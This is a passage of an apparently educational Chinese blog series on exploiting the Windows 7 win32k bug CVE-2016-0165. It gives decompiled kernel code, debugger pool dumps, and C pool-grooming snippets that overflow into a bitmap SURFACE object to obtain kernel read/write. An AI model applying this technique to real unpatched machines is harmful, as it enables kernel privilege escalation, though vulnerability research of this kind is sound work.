作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/42.html
本文將對 CVE-2016-0165 (MS16-039) 漏洞進行一次簡單的分析,并嘗試構造其漏洞利用和內核提權驗證代碼,以及實現對應利用樣本的檢測邏輯。分析環境為 Windows 7 x86 SP1 基礎環境的虛擬機,配置 1.5GB 的內存。
本文分為三篇:
從 CVE-2016-0165 說起:分析、利用和檢測(上)
從 CVE-2016-0165 說起:分析、利用和檢測(中)
從 CVE-2016-0165 說起:分析、利用和檢測(下)
0x5 利用
前面驗證了漏洞的觸發機理,接下來將通過該漏洞實現任意地址讀寫的利用目的。
AddEdgeToGET
根據前面的章節,實現觸發該漏洞并引發后續的 OOB 導致系統 BSOD 發生,但由于函數代碼邏輯中 cCurves 等相關域的值和實際分配的用來容納 EDGE 表項的緩沖區大小的差異實在太大,在 AddEdgeToGET 函數中會進行極大范圍內的內存訪問(超過 4GB 地址空間范圍)。不利于在漏洞觸發后使系統平穩過渡,好在 AddEdgeToGET 函數中存在忽略當前邊而直接返回的判斷邏輯:
if ( pClipRect )
{
if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )
return pFreeEdge;
if ( iYStart < pClipRect->top )
{
bClip = 1;
iYStart = pClipRect->top;
}
if ( iYEnd > pClipRect->bottom )
iYEnd = pClipRect->bottom;
}
ipFreeEdge_Y = (iYStart + 15) >> 4;
*((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;
*((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;
if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 )
return pFreeEdge;
清單 5-1 函數 AddEdgeToGET 中忽略邊的判斷邏輯
函數中存在兩處跳過當前邊而直接返回的判斷邏輯,返回時由于忽略當前邊的數據,所以 pFreeEdge 指針不向后移。第一處返回邏輯可以不做關注,因為 pClipRect 是 AddEdgeToGET 函數的最后 1 個參數,該參數同樣作為最后 1 個參數從函數 RGNMEMOBJ::vCreate 和 vConstructGET 直接傳遞,而在 NtGdiPathToRegion 函數中調用 RGNMEMOBJ::vCreate 時該參數傳值為 0,如清單 2-1 中所示,所以不可能命中條件。第二處返回邏輯的判斷條件是:當前兩點描述的邊中,結束坐標點的 Y 軸坐標是否與起始坐標點的 Y 軸坐標相等;如果 Y 軸坐標相等,則忽略這條邊,直接返回當前 pFreeEdge 指針指向的地址。此處的右移 4 比特位只是在還原之前在 EPATHOBJ::createrec 和 EPATHOBJ::growlastrec 函數中存儲坐標點時左移 4 比特位的數值。
因此可以利用函數的這個特性,通過修改用戶進程中傳入的各坐標點數據,可以控制緩沖區中 EDGE 元素使用的個數。但由于緩沖區中的 EDGE 元素是逐個寫入的,因此通過控制各坐標點的 Y 軸坐標值只能控制從起始位置開始連續寫入的 EDGE 個數,而不能控制跳過某些元素節點。
接下來就是最關鍵且最復雜的部分:內核內存布局。
內核內存布局
內核池風水技術是用來控制內核內存布局的關鍵技術。通過在分配關鍵的內核對象之前,首先分配和釋放特定長度和數量的其他對象,使內核內存首先處于一個確定的狀態,來確保在分配關鍵的內核對象時,能夠被系統內存管模塊分配到我們所希望其分配到的某些位置,例如接近某些可控對象的位置。后續利用漏洞通過巧妙使用某些“讀寫原語”對所分配的關鍵內核對象后面的內存區域進行操作,以控制原本不能控制的相鄰對象的成員數據,這些數據將作為后續利用操作的重要節點。
在著手實施內核內存布局之前,有必要首先了解一下 Windows 的內存池分配機制。在 Windows 系統中,調用 ExAllocatePoolWithTag 分配不超過 0x1000 字節長度的池內存塊時,會使用到 POOL_HEADER 結構,作為分配的池內存塊的頭部。在當前系統環境下 POOL_HEADER 結構的定義:
kd> dt _POOL_HEADER
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
清單 5-2 結構 POOL_HEADER 的定義
在 32 位 Windows 系統環境下 POOL_HEADER 體現在返回值指針向前 8 字節的位置:
win32k!RGNMEMOBJ::vCreate+0xc5:
933a3ffc ff1550005293 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (93520050)]
kd> dc esp l4
93d1b400 00000021 00000b68 6e677247 00000005 !...h...Grgn....
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
933a4002 8b5510 mov edx,dword ptr [ebp+10h]
kd> r eax
eax=fd674180
kd> !pool fd674180
Pool page fd674180 region is Paged session pool
fd674000 is not a valid large pool allocation, checking large session pool...
fd674158 size: 8 previous size: 0 (Allocated) Frag
fd674160 size: 18 previous size: 8 (Free) Free
*fd674178 size: b70 previous size: 18 (Allocated) *Grgn
Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys
fd674ce8 size: 318 previous size: b70 (Allocated) Gfnt
kd> dc fd674178 l4
fd674178 476e0003 6e677247 00000000 00000000 ..nGGrgn........
清單 5-3 分配內存池時 POOL_HEADER 結構的位置
在調用 ExFreePoolWithTag 函數釋放先前分配的池內存塊時,系統會校驗目標內存塊和其所在內存頁中相鄰的塊的 POOL_HEADER 結構;如果檢測到塊的 POOL_HEADER 被破壞,將會拋出導致系統 BSOD 的 BAD_POOL_HEADER 異常。但在一種情況下例外:那就是如果該池內存塊位于所在的內存頁的末尾,那么在這次 ExFreePoolWithTag 函數調用期間將不會對相鄰內存塊進行這個校驗。
根據前面的章節可知,漏洞所在函數 RGNMEMOBJ::vCreate 中分配了用于存儲中間 EDGE 數據的內存池塊,并在函數結束時釋放了分配的內存塊,所以在這種情況下,就肯定會面臨釋放內存塊時校驗相鄰 POOL_HEADER 的問題。而如果在 RGNMEMOBJ::vCreate 函數中分配內存塊時,能使其分配的內存塊處于所在內存頁的末尾,后續的 OOB 將會發生在下一個內存頁中,雖然會破壞下一內存頁中的內存塊,但至少在當前函數調用期間釋放內存塊時不去校驗相鄰塊的 POOL_HEADER 結構,問題就得以解決。
圖 5-1 篡改下一個內存頁起始內存塊的數據
接下來需要找到最佳的內存布局方式。函數 RGNMEMOBJ::vCreate 中所分配的內存塊的 PoolType 參數是 0x21 屬于分頁會話池(Paged session pool)類型,因此要找出能夠分配可控大小的此類型內存塊以進行內存布局的其他函數。
創建位圖對象
在本文中考慮通過調用 gdi32!CreateBitmap 函數在內核分配合適的位圖表面 SURFACE 對象和位圖像素數據,一是由于位圖表面對象便于控制大小,二是因為管理位圖的 SURFACE 對象中存在一些便于后續展開內核利用的成員域。SURFACE 類是內核中所有位圖表面對象的管理對象類,其成員變量 SURFOBJ so 是 SURFOBJ 結構體實例,存在于 SURFACE+0x10 字節偏移的位置。根據相關文檔顯示,任何內核 GDI 對象類的基類都是一個稱作 _BASEOBJECT 的結構,SURFACE 對象也不例外。該結構在 32 位 Windows 系統環境下占用 0x10 字節的內存空間,定義如下:
typedef struct _BASEOBJECT {
HANDLE hHmgr;
PVOID pEntry;
LONG cExclusiveLock;
PW32THREAD Tid;
} BASEOBJECT, *POBJ;
清單 5-4 結構體 _BASEOBJECT 定義
結構體 SURFOBJ 的定義如下:
typedef struct tagSIZEL {
LONG cx;
LONG cy;
} SIZEL, *PSIZEL;
typedef struct _SURFOBJ {
DHSURF dhsurf; //<[00,04] 04
HSURF hsurf; //<[04,04] 05
DHPDEV dhpdev; //<[08,04] 06
HDEV hdev; //<[0C,04] 07
SIZEL sizlBitmap; //<[10,08] 08 09
ULONG cjBits; //<[18,04] 0A
PVOID pvBits; //<[1C,04] 0B
PVOID pvScan0; //<[20,04] 0C
LONG lDelta; //<[24,04] 0D
ULONG iUniq; //<[28,04] 0E
ULONG iBitmapFormat; //<[2C,04] 0F
USHORT iType; //<[30,02] 10
USHORT fjBitmap; //<[32,02] xx
} SURFOBJ;
清單 5-5 結構體 SURFOBJ 定義
函數 CreateBitmap 的原型如下:
HBITMAP CreateBitmap(
_In_ int nWidth,
_In_ int nHeight,
_In_ UINT cPlanes,
_In_ UINT cBitsPerPel,
_In_ const VOID *lpvBits
);
該函數用來創建指定寬度、高度、和顏色格式(調色盤和像素位)的位圖。位圖在內核中作為一種 GDI 對象,使用關聯的表面 SURFACE 類對象作為管理對象。通過適當指定前 4 個參數,可精確控制分配的內核內存塊的大小;由于此處需要在內核中分配像素數據,所以參數 lpvBits 不做考慮,直接傳 NULL。最終分配內存是通過在 win32k!Win32AllocPool 函數中調用 ExAllocatePoolWithTag 進行的。調用路徑如下:
圖 5-2 從函數 CreateBitmap 到 ExAllocatePoolWithTag 的調用路徑
在 GreCreateBitmap 函數中,根據傳入的 cPlanes 和 cBitsPerPel 參數確定位圖的像素位類型:
if ( v5 <= 1 )
{
v6 = 1;
v13 = hpalMono;
goto LABEL_18;
}
if ( v5 <= 4 )
{
v9 = 2;
LABEL_16:
v6 = v9;
goto LABEL_18;
}
if ( v5 <= 8 )
{
v9 = 3;
goto LABEL_16;
}
if ( v5 <= 16 )
{
v9 = 4;
goto LABEL_16;
}
v6 = (v5 > 24) + 5;
清單 5-6 函數 GreCreateBitmap 確定位圖的位數類型
確定的位圖像素位類型接下來在 SURFMEM::bCreateDIB 函數中被用來確定位圖數據掃描線的長度。在這里需要理解掃描線的概念:在 Windows 內核中處理位圖像素數據時,通常是以一行作為單位進行的,像素的一行被稱為掃描線,而掃描線的長度就表示的是在位圖數據中向下移動一行所需的字節數。
位圖數據掃描線的長度是由位圖像素位類型和位圖像素寬度決定的:
v12 = *(_DWORD *)a2 - 1;
v40 = 1;
v44 = 0;
switch ( v12 )
{
case 0:
v13 = *((_DWORD *)a2 + 1);
if ( v13 >= 0xFFFFFFE0 )
return 0;
v14 = (struct _DEVBITMAPINFO *)(((v13 + 31) >> 3) & 0x1FFFFFFC);
goto LABEL_4;
case 1:
v15 = *((_DWORD *)a2 + 1);
if ( v15 >= 0xFFFFFFF8 )
return 0;
v14 = (struct _DEVBITMAPINFO *)(((v15 + 7) >> 1) & 0x7FFFFFFC);
goto LABEL_4;
case 2:
v16 = *((_DWORD *)a2 + 1);
if ( v16 >= 0xFFFFFFFC )
return 0;
v17 = v16 + 3;
goto LABEL_9;
case 3:
v18 = *((_DWORD *)a2 + 1);
if ( v18 >= 0xFFFFFFFE || v18 + 1 >= 0x7FFFFFFF )
return 0;
v17 = 2 * v18 + 2;
goto LABEL_9;
case 4:
v19 = *((_DWORD *)a2 + 1);
if ( v19 >= 0x55555554 )
return 0;
v17 = 3 * (v19 + 1);
LABEL_9:
v14 = (struct _DEVBITMAPINFO *)(v17 & 0xFFFFFFFC);
goto LABEL_4;
...
}
清單 5-7 函數 SURFMEM::bCreateDIB 用位圖類型確定位圖掃描線的長度
位圖掃描線長度和位圖像素高度的乘積作為該位圖數據緩沖區的大小。在調用 CreateBitmap 傳入參數時,如果 cPlanes 調色盤參數指定為 1 且 cBitsPerPel 像素位參數指定為 8 位,則內核中計算分配的位圖數據緩沖區大小的計算公式:
size = ((cxBitmap + 3) & ~3) * cyBitmap;
這樣的話,當像素寬度參數為 4 的倍數時,像素寬度和高度參數的乘積將直接等于內核中分配的位圖像素數據緩沖區的所需大小。這是由于雖然 8 位的位圖像素點存儲占用 1 字節,但位圖數據掃描線長度是按照 4 字節對齊的,所以不足 4 字節的需補齊 4 字節。而對于 32 位像素點的位圖,由于單個像素點存儲占用 32 位即 4 字節內存空間,則位圖掃描線的長度就等于位圖像素寬度的 4 倍,分配像素點數據緩沖區大小的計算公式變成:
size = (cxBitmap << 2) * cyBitmap;
位圖數據掃描線的長度以 4 字節為單位進行對齊,各種位圖像素格式的掃描線對齊方式如下:
圖 5-3 各種位圖像素格式的掃描線對齊方式
根據代碼邏輯顯示,當位圖表面對象的總大小在 0x1000 字節之內的話,分配內存時,將分配對應位圖像素數據大小加 SURFACE 管理對象大小的緩沖區,直接以對應的 SURFACE 管理對象作為緩沖區頭部,位圖像素數據緊隨其后存儲。在當前系統環境下,SURFACE 對象的大小為 0x154 字節。
對象分配成功后,函數初始化各個成員的值時,將把位圖像素點數據占用總字節數存儲在 SURFACE+0x28 字節偏移的成員(即 SURFACE->so.cjBits 成員),把位圖像素數據的起始位置存儲在 SURFACE+0x2C 字節偏移的成員(即 SURFACE->so.pvBits 成員)中,并在隨后將 pvBits 的值更新到 +0x30 字節偏移的成員(即 SURFACE->so.pvScan0 成員)中:
if ( BaseAddress || Object )
*((_DWORD *)*v9 + 0xB) = BaseAddress;
else
*((_DWORD *)*v9 + 0xB) = (char *)*v9 + SURFACE::tSize;
v33 = *(_DWORD *)v10;
if ( *(_DWORD *)v10 != 8 && v33 != 7 && v33 != 9 && v33 != 10 )
{
*((_DWORD *)*v9 + 0xA) = (_DWORD)a2 * *((_DWORD *)v10 + 2);
if ( !(*((_BYTE *)v10 + 0x14) & 1) )
{
...
}
*((_DWORD *)*v9 + 0xD) = a2;
goto LABEL_76;
}
...
{
LABEL_76:
*((_DWORD *)*v9 + 0xC) = *((_DWORD *)*v9 + 0xB);
goto LABEL_78;
}
清單 5-8 函數 SURFMEM::bCreateDIB 初始化 SURFOBJ 關鍵成員
位圖數據掃描線的長度被存儲在 +0x34 字節偏移的成員(即 SURFACE->so.lDelta 成員)中。
這樣一來,成員 pvScan0 將指向當前位圖表面對象的像素點數據緩沖區的起始位置。在后續對位圖像素點進行讀寫訪問時,系統位圖解析模塊將以該對象的 pvScan0 成員存儲的地址作為像素點數據區域起始地址。
圖 5-4 成員 pvScan0 指向像素點數據區域起始地址
由于太小的內存塊在分配時被安置在隨機區域的可能性大很多,所以為了能使 RGNMEMOBJ::vCreate 函數分配的內存塊能更大概率地被分配在我們精心安排的空隙中,現在將其分配的內存大小稍作提升,從 0x18 提升到 0x68 字節,加上 POOL_HEADER 結構的 8 字節,將會占用 0x70 字節的池內存空間。這樣一來,畫線數目就需要從 0x6666665 提升到 0x6666667 條。
在此處打算通過多次調用 CreateBitmap 函數分配大量的 0xF90 大小的內存塊,以留下足夠多的 0x70 字節間隙作為 RGNMEMOBJ::vCreate 分配 0x70 字節內存塊時的空間候選。根據 Windows 內核池內存分配邏輯,在分配不超過內存頁大小的內存塊時,分配的內存塊越大,被分配到內存頁起始位置的概率越大(但并不是絕對的,只是概率增大;只要存在恰好容納該大小內存塊的內存空隙,內存塊就會被分配在其中的)。在前面的段落中提到,位圖表面對象的像素數據大小不超過 0x1000 字節時,分配的內存將 SURFACE 類對象包含在內并放置在緩沖區開始位置,占據 0x154 字節的內存空間。除去池內存塊的 POOL_HEADER 頭部結構的 8 字節大小和 SURFACE 類對象的大小,實際需要分配的位圖像素數據的大小為 0x?E34? 字節。計算后得到如下參數值:
CreateBitmap(0xE34, 0x01, 1, 8, NULL);
編譯后實際執行時可以觀察到,函數 AllocateObject 中分配的對象內存被分配在一個內存頁的起始位置,內存塊的大小為 0xF90 字節,其后留有 0x70 字節的空閑內存空間:
win32k!SURFMEM::bCreateDIB+0x25c:
94190172 e8c51cffff call win32k!AllocateObject (94181e3c)
kd> dc esp l4
97bb7b18 00000f88 00000005 00000001 00000001 ................
kd> p
win32k!SURFMEM::bCreateDIB+0x261:
94190177 8903 mov dword ptr [ebx],eax
kd> !pool eax
Pool page ffa0e008 region is Paged session pool
*ffa0e000 size: f90 previous size: 0 (Allocated) *Gh15
Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
ffa0ef90 size: 70 previous size: f90 (Free) ....
清單 5-9 函數 AllocateObject 分配的對象內存的內存塊位置和大小
接下來就是執行前面漏洞驗證章節類似的代碼以觸發漏洞。但在筆者實際測試的時候發現,函數 RGNMEMOBJ::vCreate 調用 ExAllocatePoolWithTag 分配的內存塊并不會被安置在我們所預留的大量的 0x70 字節大小的空間中,而仍舊被分配在了一些隨機的空隙。這是由于系統中原本就恰好存在一些 0x70 字節的空隙,這樣一來就需要提前將這些空隙填充,以迫使漏洞關鍵緩沖區被分配在我們預留的空隙中。
原本打算繼續通過調用傳入特定參數的 CreateBitmap 函數填充系統原有的 0x70 字節的空隙,但由于 SURFACE 頭部結構就已經占據了 0x154 字節的大小,所以未能成行。在這里參考一些其他的分析文章,轉為使用 CreateAcceleratorTable 函數。通過調用比 CreateBitmap 更多次數的 CreateAcceleratorTableA 函數創建 AcceleratorTable 內核對象以填充內存空隙、然后在其中制造空洞的方式,為使 RGNMEMOBJ::vCreate 分配的內存塊能夠命中我們安排的空洞提升更大的概率。
創建快捷鍵對應表
函數 CreateAcceleratorTableA/W 用來在內核中創建快捷鍵對應表。該函數存在 LPACCEL lpaccl 和 int cAccel 兩個參數。參數 lpaccl 作為指向 ACCEL 結構體類型數組的指針,cAccel 表示數組的元素個數。結構體 ACCEL 的定義如下:
typedef struct tagACCEL {
BYTE fVirt;
WORD key;
WORD cmd;
} ACCEL, *LPACCEL;
清單 5-10 結構體 ACCEL 的定義
該結構體用于定義使用在快捷鍵對應表中的快捷鍵,單個元素占用 6 字節內存空間。通過函數 CreateAcceleratorTableA 分配內核池內存塊的調用路徑:
圖 5-5 函數 CreateAcceleratorTable 分配內核池內存塊的調用路徑
在函數 win32k!NtUserCreateAcceleratorTable 中將參數 cAccel 乘結構體 ACCEL 的大小 0x6 并作為參數 a2 傳入 _CreateAcceleratorTable 函數;在 CreateAcceleratorTable 函數中參數 a2 被增加 0x12,增加后的數值作為分配對象的完整大小并被傳入 HMAllocObject 函數調用。0x12 是管理 AcceleratorTable 數據的結構體 ACCELTABLE 的大小。隨后在 ExAllocatePoolWithQuotaTag 函數中進行一系列參數變換并最終調用 ExAllocatePoolWithTag 函數分配內存塊。
注意到在 Win32AllocPoolWithQuota 函數中調用 nt!ExAllocatePoolWithQuotaTag 函數時傳入的 PoolType 參數為 0x29,該數值是 0x21 與 0x08 進行邏輯或運算后的數值。0x08 在此表示 POOL_QUOTA_FAIL_INSTEAD_OF_RAISE 標志位,用于在調用分配內核池內存塊的函數時,當內存分配失敗,指示函數返回 NULL 而不是拋出異常。
bRaiseFail = 1;
if ( PoolType & 8 )
{
bRaiseFail = 0;
PoolType &= 0xFFFFFFF7;
}
_Process = KeGetCurrentThread()->ApcState.Process;
_PoolType = PoolType + 8;
if ( NumberOfBytes > 0xFF4 || _Process == PsInitialSystemProcess )
_PoolType = (unsigned __int8)_PoolType - 8;
else
NumberOfBytes += 4;
buffer = ExAllocatePoolWithTag(_PoolType, NumberOfBytes, Tag);
清單 5-11 函數 ExAllocatePoolWithQuotaTag 執行參數變換
當分配的內存塊大小不超過 0xFF4 字節時,函數 ExAllocatePoolWithQuotaTag 在調用 ExAllocatePoolWithTag 分配內存之前會將內存塊大小參數增加 4 字節。這樣一來,我們在調用 CreateAcceleratorTableA 函數時,只需給參數 cAccel 指定 0x0D 數值,并為參數 lpaccl 指向的緩沖區安排足夠個數的元素,那么在內核中分配的內存塊包括 POOL_HEADER 結構在內將是 0x70 字節大小,末尾不足 8 字節的會補齊 8 字節。
nt!ExAllocatePoolWithQuotaTag+0x52:
83eb4bf1 e80f940700 call nt!ExAllocatePoolWithTag (83f2e005)
kd> dd esp l4
98bafb40 00000029 00000064 63617355 00000008
kd> p
nt!ExAllocatePoolWithQuotaTag+0x57:
83eb4bf6 8bf0 mov esi,eax
kd> !pool eax
Pool page ff4aa5d8 region is Paged session pool
ff4aa000 is not a valid large pool allocation, checking large session pool...
ff4aa5c8 size: 8 previous size: 0 (Allocated) Frag
*ff4aa5d0 size: 70 previous size: 8 (Allocated) *Usac Process: 87601588
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
ff4aa640 size: 320 previous size: 70 (Allocated) Gh15
ff4aa960 size: 6a0 previous size: 320 (Allocated) Gh15
清單 5-12 分配的 AcceleratorTable 池內存塊
內存塊空洞
這樣的話,通過多次的 CreateAcceleratorTableA 函數調用正好會填充大量的 0x70 字節大小的內存空洞。需要注意的是,這些多次調用的 CreateAcceleratorTableA 函數調用需要放在通過 CreateBitmap 函數以分配 0xF90 字節的內核內存塊的代碼邏輯之后執行,以便同時填充這些位圖表面對象所在的內存頁中預留的 0x70 空隙。隨后通過 DestroyAcceleratorTable 函數釋放掉中間一部分 AcceleratorTable 對象,為 RGNMEMOBJ::vCreate 函數留下足夠多的機會。
圖 5-6 內核內存布局的內存塊空洞預留給漏洞函數
制造 0x70 字節內存塊空洞的驗證代碼如下:
for (LONG i = 0; i < 5000; i++)
{
hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 7000; i++)
{
ACCEL acckey[0x0D] = { 0 };
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 2000; i < 4000; i++)
{
DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
清單 5-13 通過 AcceleratorTable 填充間隙并制造空洞的驗證代碼片段
編寫代碼編譯后在環境中執行,觀測到 RGNMEMOBJ::vCreate 函數分配的內存塊成功命中在我們安排的內存間隙中,其相鄰的內存頁也都符合我們先前構造的內存布局:
win32k!RGNMEMOBJ::vCreate+0xc5:
93fc3ffc ff1550001494 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (94140050)]
kd> dc esp l4
980a9828 00000021 00000068 6e677247 0f010743 !...h...GrgnC...
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
93fc4002 8b5510 mov edx,dword ptr [ebp+10h]
kd> !pool eax
Pool page cae5ef98 region is Paged session pool
cae5e000 size: f90 previous size: 0 (Allocated) Gh15
*cae5ef90 size: 70 previous size: f90 (Allocated) *Grgn
Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys
kd> !pool (eax&fffff000)+0x1000
Pool page cae5f000 region is Paged session pool
*cae5f000 size: f90 previous size: 0 (Allocated) *Gh15
Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
cae5ff90 size: 70 previous size: f90 (Free ) Usac Process: 876936d8
kd> !pool (eax&fffff000)-0x1000
Pool page cae5d000 region is Paged session pool
*cae5d000 size: f90 previous size: 0 (Allocated) *Gh15
Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
cae5df90 size: 70 previous size: f90 (Free) Usac
清單 5-14 函數 RGNMEMOBJ::vCreate 分配的內存塊命中內存間隙
POOL_HEADER
在這里觀測內存塊的 POOL_HEADER 結構各域的值:
kd> dt _POOL_HEADER cae5ef90
nt!_POOL_HEADER
+0x000 PreviousSize : 0y111110010 (0x1f2)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001110 (0xe)
+0x002 PoolType : 0y0100011 (0x23)
+0x000 Ulong1 : 0x460e01f2
+0x004 PoolTag : 0x6e677247
+0x004 AllocatorBackTraceIndex : 0x7247
+0x006 PoolTagHash : 0x6e67
清單 5-15 當前內存塊的 POOL_HEADER 結構各域的值
需要關注的是 PreviousSize / PoolIndex / BlockSize / PoolType / PoolTag 五個成員域。根據本章節前面的內容可知,POOL_HEADER 結構的成員域 PreviousSize 和 BlockSize 的長度都是 9 比特位,而 PoolIndex 和 PoolType 都是 7 比特位。成員 PoolTag 是 32 位的整數,用于表示當前內存塊的 Tag 標記。成員 PreviousSize 和 BlockSize 中存儲的數值都需要左移 3 比特位才能與實際大小對應。在這里 PreviousSize 的值 0x1F2 左移 3 位之后是 0xF90 表示前一個內存塊的大小是 0xF90 字節;而 BlockSize 的值 0xE 左移 3 位之后是 0x70 表示當前內存塊的大小是 0x70 字節。
接下來觀測下一內存頁起始內存塊的 POOL_HEADER 結構,以便在后續的操作中對被破壞 POOL_HEADER 結構進行修復:
kd> dt _POOL_HEADER cae5e000
nt!_POOL_HEADER
+0x000 PreviousSize : 0y000000000 (0)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y111110010 (0x1f2)
+0x002 PoolType : 0y0100011 (0x23)
+0x000 Ulong1 : 0x47f20000
+0x004 PoolTag : 0x35316847
+0x004 AllocatorBackTraceIndex : 0x6847
+0x006 PoolTagHash : 0x3531
清單 5-16 下一內存塊的 POOL_HEADER 結構各域的值
下一個內存頁起始內存塊是我們之前構造內存布局時分配的其中之一的位圖表面對象。由于是內存頁的起始內存塊,因此其 POOL_HEADER 結構的 PreviousSize 成員值為 0;成員 BLockSize 的值 0x1F2 表示當前內存塊的大小是 0xF90 字節;成員 PoolType 的值表示內存塊類型和一些屬性標志位,此處值為 0x23。成員 PoolIndex 具體作用暫時為知,但根據觀測多個位圖表面對象內存塊發現該值都為 0,因此在后續的修復過程中直接對該值賦值為 0 即可。
到目前為止已經能夠控制 RGNMEMOBJ::vCreate 函數將內存塊分配在指定的內存頁末尾。接下來將研究如何利用由溢出漏洞導致的后續 OOB 漏洞篡改指定對象成員域達到任意地址讀寫的目的。
溢出覆蓋內存塊
我對驗證代碼進行特別修改,將傳入 PolylineTo 函數調用的坐標點序列的 Y 軸坐標值都修改成相同的,并只單獨修改前 6 個坐標點的 Y 軸為其他互不相同的值。這樣一來將只有前 7 個 EDGE 元素會被寫入 RGNMEMOBJ::vCreate 函數分配的內存緩沖區;內存緩沖區的大小為 0x68 字節,因此只能容納不到 3 個 EDGE 元素,后續的寫入將發生在下一內存頁的起始內存塊,即前面分配的其中之一的位圖表面對象緩沖區。在這里我們希望發生的 OOB 能夠覆蓋 SURFOBJ 結構的 sizlBitmap 或 pvScan0 域。域 sizlBitmap 存儲位圖的寬和高的大小,成員域 pvScan0 指向位圖像素數據的起始地址。
通過編譯代碼在環境中執行后觀測到:
win32k!RGNMEMOBJ::vCreate+0xc5:
939e3ffc ff155000b693 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (93b60050)]
kd> dd esp l4
a129f828 00000021 00000068 6e677247 0d0106fb
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
939e4002 8b5510 mov edx,dword ptr [ebp+10h]
kd> r eax
eax=cae61f98
kd> dc cae62000 l 10
cae62000 47f20000 35316847 01050fc3 00000000 ...GGh15........
cae62010 00000000 00000000 00000000 01050fc3 ................
cae62020 00000000 00000000 00000e34 00000001 ........4.......
cae62030 00000e34 cae6215c cae6215c 00000e34 4...\!..\!......
kd> p
...
kd> p
win32k!RGNMEMOBJ::vCreate+0x1d7:
939e410e e8a7000d00 call win32k!vConstructGET (93ab41ba)
kd> p
win32k!RGNMEMOBJ::vCreate+0x1dc:
939e4113 8365cc00 and dword ptr [ebp-34h],0
kd> dc cae62000 l 10
cae62000 00000100 00000001 00000001 00000001 ................
cae62010 cae63668 00000001 00000003 00000005 h6..............
cae62020 ffffffff 00000000 00000100 00000001 ................
cae62030 00000001 00000001 cae63640 00000001 ........@6......
cae62040 00000005 00000006 ffffffff 00000000 ................
cae62050 00000100 00000001 00000001 00000001 ................
cae62060 a129fb60 00000001 00000006 00000007 `.).............
cae62070 ffffffff 00000000 00000100 00000001 ................
清單 5-17 函數 vConstructGET 將下一內存塊數據覆蓋
下一內存頁的起始內存塊中的數據,包括 POOL_HEADER 結構在內,已被 vConstructGET 函數調用中的執行邏輯所覆蓋。從 0xcae62008 地址開始是管理位圖表面對象的 SURFACE 對象。根據偏移計算得知,域 sizlBitmap 位于 0xcae62028 位置,域 pvScan0 位于 0xcae62038 位置。兩者的值都沒有被復寫成理想的值,但是注意到有幾處地址的數據被修改成 0xFFFFFFFF 這樣的特殊值。
這樣一來就不能使位圖表面對象直接作為內存頁的起始位置,需要在 EDGE 緩沖區內存塊和位圖表面對象內存塊之間增加“墊片”,以使 0xFFFFFFFF 這樣的特殊值能被覆蓋到我們特別關注的域中。
墊片
在分配快捷鍵對應表 AcceleratorTable 序列之后,通過調用 DeleteObject 函數釋放掉前面分配的所有位圖對象。此時會留出大量的 0xF90 大小的內存空隙。接下來需要分配用作墊片的緩沖區內存塊,使其間隔在 EDGE 緩沖區內存塊和用于覆蓋篡改的位圖表面對象內存塊之間。該內存塊需要擁有較大的大小,以使其盡可能地被安排在我們剛剛留出的 0xF90 內存空隙的開始位置。分配用作墊片的緩沖區可以用很多方式,看個人意愿,在本分析中選擇通過設置剪貼板數據的方式:
VOID
CreateClipboard(DWORD Size)
{
PBYTE Buffer = (PBYTE)malloc(Size);
FillMemory(Buffer, Size, 0x41);
Buffer[Size - 1] = 0x00;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
GlobalUnlock(hMem);
SetClipboardData(CF_TEXT, hMem);
}
清單 5-18 創建剪貼板數據對象的驗證代碼片段
設置剪貼板數據的函數 SetClipboardData 用于將數據以指定剪貼板格式放置在剪貼板中,其第二個參數 HANDLE hMem 接受指向某個內存區的句柄。在該函數中獲取句柄參數 hMem 指向內存區的大小,并調用 ConvertMemHandle 未導出函數,隨后在 ConvertMemHandle 函數中調用 win32k 中的 NtUserConvertMemHandle 系統調用。
在 win32k!NtUserConvertMemHandle 調用的 _ConvertMemHandle 函數中通過 HMAllocObject 函數分配用戶對象,分配的對象大小為傳入的數據大小參數加 0x0C 字節的結構體 CLIPDATA 的大小。在 HMAllocObject 函數中選擇不適用進程配額的方式分配內存,所以不會給請求緩沖區大小增加 4 字節,所以最終分配的內存塊大小是傳入的數據大小參數加 0x14 字節,內存塊類型為分頁會話池。因此,為了分配 0xB70 大小的內存塊,在用戶進程中傳入 SetClipboardData 函數調用的內存區句柄指向的內存區的大小應該是 0xB5C 字節。
v2 = a2 + 0xC;
if ( a2 >= 0xFFFFFFF4 )
v2 = 12;
if ( v2 >= a2 && (v3 = HMAllocObject(0, 0, 6, v2), (v4 = (int *)v3) != 0) )
{
*(_DWORD *)(v3 + 8) = a2;
memcpy((void *)(v3 + 0xC), a1, a2);
result = *v4;
}
